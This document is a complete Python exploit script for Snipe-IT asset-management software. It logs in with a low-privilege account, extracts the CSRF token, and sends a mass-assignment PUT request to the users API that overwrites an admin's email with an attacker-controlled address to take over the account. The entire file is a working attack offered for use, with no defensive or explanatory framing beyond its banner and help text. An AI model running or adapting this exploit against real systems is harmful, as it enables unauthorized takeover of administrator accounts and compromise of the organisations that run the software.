import requests from bs4 import BeautifulSoup import argparse import sys # Configuration BASE_URL = "http://localhost:8000" LOGIN_URL = f"{BASE_URL}/login" print(""" ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ █████▀▀▀ ▀▀ ███▀▀███▄ ▀████▄ ████▄ ██ ████▄ ▄█▀█▄ ████▄ ███▄▄███▀ ██ ██ ████▄ ▄█▀█▄ ████▄ ▀████ ██ ██ ██ ██ ██ ██▄█▀ ██ ▀▀ ███▀▀▀▀ ██ █ ██ ██ ██ ██▄█▀ ██ ▀▀ ███████▀ ██ ██ ██▄ ████▀ ▀█▄▄▄ ██ ███ ██▀██ ██ ██ ▀█▄▄▄ ██ ██ ▀▀ """) print("Snipe-IT Mass Assignment Exploit (Account Takeover)") print("\n") def parse_args(): parser = argparse.ArgumentParser(description="Snipe-IT Mass Assignment Exploit (Account Takeover)") # target admin infos parser.add_argument("--target-id", type=int, default=1, help="ID of the target admin user (default: 1)") parser.add_argument("--admin-username", type=str, required=True, help="Username of the admin account") parser.add_argument("--admin-firstname", type=str, required=True, help="First name of the admin account") parser.add_argument("--admin-email", type=str, required=True, help="New email of the admin account (Account Takeover) - put a attacker controlled email") # attacker creds parser.add_argument("--attacker-username", type=str, required=True, help="Username of the attacker's account") parser.add_argument("--attacker-password", type=str, required=True, help="Password of the attacker's account") return parser.parse_args() def login(args): session = requests.Session() # 1 get login page to fetch CSRF token print(f"Fetching login page: {LOGIN_URL}") try: response = session.get(LOGIN_URL) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error fetching login page: {e}") return None soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': '_token'}) if not token_input: print("Could not find CSRF token on login page.") return None csrf_token = token_input['value'] print(f"CSRF Token found: {csrf_token}") # 2 perform login payload = { '_token': csrf_token, 'username': args.attacker_username, 'password': args.attacker_password } print(f"Attempting login as {args.attacker_username}") try: response = session.post(LOGIN_URL, data=payload, allow_redirects=True) response.raise_for_status() except requests.exceptions.RequestException as e: print(f"Error during login POST: {e}") return None # 3 verify login success if response.url == f"{BASE_URL}/" or "dashboard" in response.url or "Logout" in response.text: print("Login successful!") return session, csrf_token else: print("Login failed. Check credentials or response.") return None def exploit(session, csrf_token, args): target_url = f"{BASE_URL}/api/v1/users/{args.target_id}" print(f"\n[*] Sending Exploit Payload to {target_url}...") headers = { 'X-CSRF-TOKEN': csrf_token, 'Content-Type': 'application/json', 'Accept': 'application/json' } # Payload for Mass Assignment payload = { "username": args.admin_username, "first_name": args.admin_firstname, "email": args.admin_email, "activated": 1, } try: response = session.put(target_url, json=payload, headers=headers) if response.status_code == 200: print("EXPLOIT SUCCESSFUL!") print("\nInfos:") print(f"Username: {args.admin_username}") print(f"First Name: {args.admin_firstname}") print(f"Email: {args.admin_email}") else: print("Exploit failed.") except requests.exceptions.RequestException as e: print(f"Error during exploit request: {e}") if __name__ == "__main__": args = parse_args() result = login(args) if result: session, csrf_token = result exploit(session, csrf_token, args)